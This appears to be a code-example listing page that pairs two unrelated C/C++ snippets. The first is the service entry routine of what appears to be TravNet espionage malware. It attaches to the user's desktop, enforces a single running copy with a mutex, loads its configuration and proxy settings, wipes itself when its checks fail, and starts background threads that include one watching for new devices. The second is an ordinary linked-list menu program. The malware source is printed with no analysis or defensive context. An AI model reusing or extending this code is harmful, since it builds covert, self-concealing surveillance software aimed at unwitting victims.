Esempio n. 1
0
extern "C" __declspec(dllexport) void ServiceMain()
{
	Fast_ServiceStatus(SERVICE_START_PENDING, NO_ERROR, 1);
	Fast_ServiceStatus(SERVICE_RUNNING		, NO_ERROR, 0);

	HWINSTA hProcWinStat = GetProcessWindowStation();
	HWINSTA hWinStat = OpenWindowStation("winsta0", FALSE, WINSTA_ALL_ACCESS);
	if (NULL != hWinStat)
		SetProcessWindowStation(hWinStat);
	CloseWindowStation(hProcWinStat);

	g_hMutex = CreateMutex(NULL, TRUE, TRAVNET_MUTEX_NAME);
	if (ERROR_ALREADY_EXISTS == GetLastError())
	{
		CloseHandle(g_hMutex);
		return;
	}

	Sleep(1000);
	if (FALSE == LoadConfig())
		return;

	if (FALSE == g_bCheckedSuccess)
	{
		LoadProxyConfig();

		if (g_bUseProxy)
		{
			sprintf(g_nProxy_IP__TEST	, "%s", g_nProxy_IP);
			sprintf(g_nProxy_PORT__TEST	, "%s", g_nProxy_PORT);
			sprintf(g_nProxy_USER__TEST	, "%s", g_nProxy_USER);
			sprintf(g_nProxy_PSW__TEST	, "%s", g_nProxy_PSW);

			if(FALSE == TestProxyConnection() && TRUE == g_bAutoCheck && FALSE == RetriveInfo())
			{
				RemoveALL();
				return;
			}
		}
		else if(TRUE == g_bAutoCheck && FALSE == RetriveInfo())
		{
			RemoveALL();
			return;
		}

		SetCheckSuccess();
	}

	// Start main routine
	Sleep(60000);
	g_lpThread1 = CreateThread(NULL, 0, g_fnThread1, NULL, 0, &g_dwThreadId1);

	// Wait for new devices
	Sleep(10000);
	g_lpThread2 = CreateThread(NULL, 0, g_fnThread2, NULL, 0, &g_dwThreadId2);

	do
		Sleep(100);
	while (g_dwServiceStatus != SERVICE_STOP_PENDING && g_dwServiceStatus != SERVICE_STOPPED);
}
Esempio n. 2
0
File: Linklist.cpp Progetto: LLZK/C
int main()
{
  int input = -1;
  int x = 0;
  int pos = 0;
  int k = 0;
  LinkList mylist;
  pListNode tmp = NULL;
  	pListNode ret = NULL;
  InitLinklist(&mylist);
  menu();
  while(1)
  {
	  printf("请输入选项:\n");
	scanf("%d",&input);
    switch(input)
	{
	case POPB:
		Popback(&mylist);
		break;
	case POPF:
		Popfront(&mylist);
		break;
	case PUSB:
		printf("请输入要插入的数据:\n");
		scanf("%d",&x);
		PushBack(&mylist,x);
		break;
	case PUSF:
		printf("请输入要插入的数据:\n");
		scanf("%d",&x);
		Pushfront(&mylist,x);
		break;
	case INSE:
		printf("请输入要插入的数据:\n");
		scanf("%d",&x);
		printf("请输入要插入的位置(哪个数据之前):\n");
		scanf("%d",&pos);
		Insert(&mylist,FindNode(&mylist,pos),x);
		break;
	case REMO:
		printf("请输入要删除的数据:\n");
		scanf("%d",&x);
		Remove(&mylist,x);
		break;
	case REMOA:
		RemoveALL(&mylist);
		break;
	case PRINT:
		Printlist(&mylist);
		break;
	case ERASE:
		printf("请输入要擦除的位置(哪一个数字):\n");
		scanf("%d",&pos);
		Erase(&mylist,FindNode(&mylist,pos));
		break;
	case BUBBL:
		BubbleSort(&mylist);
		break;
	case FIND:
		printf("请输入要查找的数字:");
		scanf("%d",&pos);
		FindNode(&mylist,pos);
		printf("%p",FindNode(&mylist,pos));
	case REVERSE:
		Reverselist(&mylist);
		break;
	case INSEF:
		printf("请输入要插入的数据:\n");
		scanf("%d",&x);
		printf("请输入要插入的位置(哪个数据之前):\n");
		scanf("%d",&pos);
		InsertFrontNode(FindNode(&mylist,pos),x);
		break;
	case FINDM:
		ret = FindMid(&mylist);
		printf("中间结点为 %d\n",ret->data);
		break;
	case DELB:
		printf("请输入k的值:");
		scanf("%d",&k);
		Delbackn(&mylist,k);
		break;
	case EXIT:
		return 0;
		break;
	default:
		printf("输入错误!\n");
		break;
	}
  }
  system("pause");
  return 0;
}